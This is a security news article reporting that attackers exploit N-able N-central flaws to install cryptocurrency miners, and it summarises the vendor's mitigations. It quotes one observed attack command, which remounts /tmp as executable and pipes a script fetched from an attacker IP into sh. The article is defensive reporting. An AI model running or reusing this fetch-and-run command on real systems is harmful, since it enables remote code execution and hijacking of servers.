Hackers Exploit N-central Flaws to Infect 21 Servers, Including 19 Running Hotfix 2 Ravie LakshmananNov 13, 2026Vulnerability / Cyber Attack N-able on Thursday said it's taking additional precautions in the wake of public disclosure of a new set of flaws tracked as 4EverAble2Shell and Agent2Shell. "We are restricting certain N-central features and integrations," the company said in a Thursday update. "These measures may affect some functionality, but we believe taking additional precautions while remediation is completed is the right action to protect our partners and their customers." The following actions have been applied to Hosted environments - Legacy API is turned off by default in the product. Intune integration has been turned off while additional protections are implemented and validated. Hosted customers are also being recommended to follow N-able's previous guidance to upgrade Agents and Probes on N-central version 2026.4 HF1 and above, as the update introduces changes in how the Probe and Agent communicate. "N-able N-central 2026.4 HF1 updates legacy components of the Agent and Probe, which changes how the two communicate," it said. "As such, upgrading both Agents and Probes in your N-central server is a MUST to ensure all managed devices are communicating and patched." On-premises customers are being urged to upgrade Agents and Probes and ensure Legacy API access is disabled in the environment, if it has been previously turned on. "Our teams are actively assessing the new disclosures, developing additional remediation, and working to safely restore affected functionality," N-able said. "Protecting our partners and their customers remains our highest priority, and we will continue to take precautionary action where necessary." The development comes as independent security researcher Sean Bales disclosed two new sets of flaws called 4EverAble2Shell and Agent2Shell that work against the latest version of N-central and can allow attackers to execute arbitrary code as root and gain SYSTEM-level access to Windows systems under specific conditions. Multiple threat intelligence reports show that 4EverAble2Shell has moved beyond preliminary probing to active exploitation efforts, with threat actors leveraging it to deploy cryptocurrency miners on vulnerable servers. The attacks have been found to string together a critical Apache Axis vulnerability, tracked as CVE-2026-90436 (CVSS score: 9.8), with a separate N-central privilege escalation weakness to obtain root-level access. "An unauthenticated exploit chain in N-able N-central, disclosed as 4EverAble2Shell, is reported to allow remote attackers to execute arbitrary operating-system commands with root privileges," Previdian, which is tracking the flaw as VULN-2026-0009, said. "The chain exploits unsafe class instantiation during SOAP fault processing in the bundled Apache Axis component. A crafted request causes an attacker-selected JLine class to process malicious input, resulting in command execution as the nable service account." In an exploit chain detailed by the threat intelligence company, threat actors have been observed attempting to download and execute a shell script ("jup.sh") from an attacker-controlled server at "157.20.241[.]16," while sending back diagnostic information and command output to the server. Cybersecurity company Huntback has also revealed that the same IP address is weaponizing the 4EverAble2Shell flaw, deploying an XMRig Monero cryptocurrency miner on 21 N-central servers via the aforementioned shell script - mount -o remount,exec /tmp 2>/dev/null; curl -fsSL hxxp://157.20.241[.]16:8080/jup.sh | sh -s nc_[target-IP-redacted] The miner is designed to use only half of the available CPU cores, likely in an effort to fly under the radar. The compromised N-central servers are concentrated across the U.S., South Africa, Canada, the U.K., Germany, France, and Sweden. "The miner is the only payload we have seen, but the escalation hands the operator root on a host that manages your customers' endpoints," Huntback said. "Treat a hit as a full compromise, not a cleanup job. Applying Hotfix 2 is not enough on its own: 19 of the victims here were already running it." Found this article interesting? Follow us on Google News, Twitter and LinkedIn to read more exclusive content we post. cryptocurrency mining, Cyber Attack, enterprise security, remote code execution, Vulnerability Xen Hypervisor Flaws Let One Malicious VM Read and Write Any Other VM's Memory New Wave of Refrigeration Cyberattacks Hits Supermarkets Across Europe, Forcing Stores to Pull Food Claude Code's “Don't Ask Again” File Exposes Passwords and Keys in 1,122 Public Copies on GitHub The Collapsed Patch Window: Why Runtime Protection is Now Your First Line of Defense Against AI-Driven Attacks Microsoft Paint RCE Fix Now Available, but Windows Update Won't Deliver It Hackers Target OpenSSH SSHole Flaw Within Hours of Disclosure, Gain Root on Honeypot OpenAI AI Pipeline Generates 948 Linux Root Escalation Exploits in 30-Hour Run Synology NAS Devices Targeted in Ransomware Attacks Exploiting Patched DSM Flaw Red Hat Patches 9.8-Rated Linux TCP RCE Flaw While Ubuntu Releases Fixes for Testing The Rise of the Threat Operator: How AI Will Redefine Security Operations and Careers ThreatsDay: Apache OFBiz RCE, DreamHost Breach, DeFi Site Hijacks + 17 More Stories Google Issues Patches for Critical Android Flaw That Could Allow RCE Without User Interaction Google Disrupts 1.3 Million-Device Android Botnet, Says TV Box Maker Sold Criminal Access Binance Reveals How Fake Job Interviews and AI Tool Abuse Led to $6.43 Billion Theft Debian and Ubuntu APT Flaw Lets MitM Attackers Swap Verified Packages and Run Code as Root CISA Confirms Hackers Exploiting WordPress Core Flaw During Software Upgrades The Flood is Coming And The Pipes Were Already Full 5 Active Cyber Threats That Put US Enterprises at Risk in October 2026 Google Warns LLMjacking Attacks Are Costing Some Enterprises Up to $1 Million in Cloud Charges Is Your Exposure Management Platform Leaving You Exposed? Five Tests to Find Out OpenSSH Issues Emergency Fix for Flaw Letting Long Passwords Bypass SSH Auth on Alpine Linux Critical Rails Flaw Lets Attackers Write Server Files via Crafted ImageMagick Uploads Apple to Start Scanning Publicly Shared iCloud Photos and Files for Harmful Content Hackers Hide Linux Backdoor in Control Web Panel Server to Execute Commands Without Logs Assess Your Organization's AI Code Sprawl Exposure With This Practical Guide Beyond CVE Scanning: Book a Demo of Continuous AI-Powered Web Pentesting See How Bitdefender GravityZone Identifies Shadow AI and Prioritizes Endpoint Risks Detect Lateral Movement and Evasive Attacks With Corelight's Open NDR Platform Your SOC Has an Identity Blind Spot. Here's How to Fix It Learn how to close critical identity visibility gaps in your SOC, detect hidden threats, and accelerate incident response across human, machine, and AI identities. Watch Free Now Roadmap for AI-Ready Security Operations Evaluate Attack Surface Visibility With an AI Threat Readiness Framework Learn how to assess AI threat readiness, strengthen attack surface visibility, and prepare security operations for emerging threats in this practical webinar. Governance Sets the Ceiling on Your AI Security Program See the five moves that raise a Stage 2 Govern score to a defensible Stage 3. 11 Real Stories: How Identity Exposure Unlocks Active Attack Paths Map cross-domain privilege escalation to sever breach routes at key choke points. Uncover Identity Dark Matter: SACR Research Brief Eliminate the blind spots undermining your security. Download the SACR brief. BeyondTrust an 8X Gartner® Magic Quadrant™ Leader for PAM Gain clarity on the PAM market and understand why BeyondTrust is again a Leader. The Collapsed Patch Window: Why Runtime Protection is Now Your First Line of Defense Against AI-Driven Attacks Your Attack Surface Is Growing Faster Than Your Team Can Respond The MSP Margin Math Nobody's Doing: Your Next Technician Might Already be on Payroll PEDM vs. Standing Elevated Privileges: Control Access Without Flooding the Helpdesk